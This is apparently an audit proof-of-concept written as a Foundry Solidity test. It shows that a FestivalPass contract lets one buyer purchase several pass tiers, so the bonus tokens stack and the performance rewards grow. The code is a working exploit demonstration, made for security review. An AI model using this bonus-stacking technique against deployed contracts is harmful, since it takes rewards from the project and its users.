No validation on repeat pass purchases (line 69-84).
pragma solidity 0.8.25;
import {Test, console} from "forge-std/Test.sol";
import {FestivalPass} from "../src/FestivalPass.sol";
import {BeatToken} from "../src/BeatToken.sol";
contract POC_AllFindings is Test {
FestivalPass public festival;
BeatToken public beat;
address public owner;
address public organizer;
address public attacker;
address public user1;
address public user2;
uint256 constant GENERAL_PRICE = 0.05 ether;
uint256 constant VIP_PRICE = 0.1 ether;
uint256 constant BACKSTAGE_PRICE = 0.25 ether;
function setUp() public {
owner = address(this);
organizer = makeAddr("organizer");
attacker = makeAddr("attacker");
user1 = makeAddr("user1");
user2 = makeAddr("user2");
beat = new BeatToken();
festival = new FestivalPass(address(beat), organizer);
beat.setFestivalContract(address(festival));
vm.startPrank(organizer);
festival.configurePass(1, GENERAL_PRICE, 5000);
festival.configurePass(2, VIP_PRICE, 1000);
festival.configurePass(3, BACKSTAGE_PRICE, 100);
vm.stopPrank();
vm.deal(attacker, 100 ether);
vm.deal(user1, 100 ether);
vm.deal(user2, 100 ether);
}
function test_POC_H02_BonusStacking() public {
vm.prank(attacker);
festival.buyPass{value: VIP_PRICE}(2);
uint256 vipBonus = beat.balanceOf(attacker);
assertEq(vipBonus, 5e18, "VIP bonus should be 5 BEAT");
vm.prank(attacker);
festival.buyPass{value: BACKSTAGE_PRICE}(3);
uint256 totalBonus = beat.balanceOf(attacker);
assertEq(totalBonus, 20e18, "Total bonus should be 20 BEAT (5 + 15)");
assertEq(festival.getMultiplier(attacker), 3);
vm.prank(organizer);
uint256 perfId = festival.createPerformance(block.timestamp + 1 hours, 2 hours, 100e18);
vm.warp(block.timestamp + 90 minutes);
vm.prank(attacker);
festival.attendPerformance(perfId);
assertEq(beat.balanceOf(attacker), 320e18);
console.log("=== H-02: BONUS STACKING EXPLOIT ===");
console.log("Attacker got 20 BEAT welcome bonus (should be max 15)");
console.log("Extra 5 BEAT from VIP bonus stacking");
console.log("VULNERABILITY: No limit on pass purchases allows unlimited bonus accumulation");
}
function test_POC_H02_BonusComparison() public {
address buyerAll = makeAddr("buyerAll");
address buyerBS = makeAddr("buyerBS");
vm.deal(buyerAll, 10 ether);
vm.deal(buyerBS, 10 ether);
vm.startPrank(buyerAll);
festival.buyPass{value: GENERAL_PRICE}(1);
festival.buyPass{value: VIP_PRICE}(2);
festival.buyPass{value: BACKSTAGE_PRICE}(3);
vm.stopPrank();
vm.prank(buyerBS);
festival.buyPass{value: BACKSTAGE_PRICE}(3);
uint256 bonusAll = beat.balanceOf(buyerAll);
uint256 bonusBS = beat.balanceOf(buyerBS);
console.log("=== H-02: BONUS COMPARISON ===");
console.log("Buyer A (all passes): bonus=", bonusAll / 1e18, "BEAT");
console.log("Buyer A cost:", (GENERAL_PRICE + VIP_PRICE + BACKSTAGE_PRICE) / 1e18, "ETH");
console.log("Buyer B (backstage only): bonus=", bonusBS / 1e18, "BEAT");
console.log("Buyer B cost:", BACKSTAGE_PRICE / 1e18, "ETH");
console.log("Extra bonus:", (bonusAll - bonusBS) / 1e18, "BEAT");
console.log("VULNERABILITY: Buying all passes gives 20 BEAT vs 15 BEAT for just BACKSTAGE");
}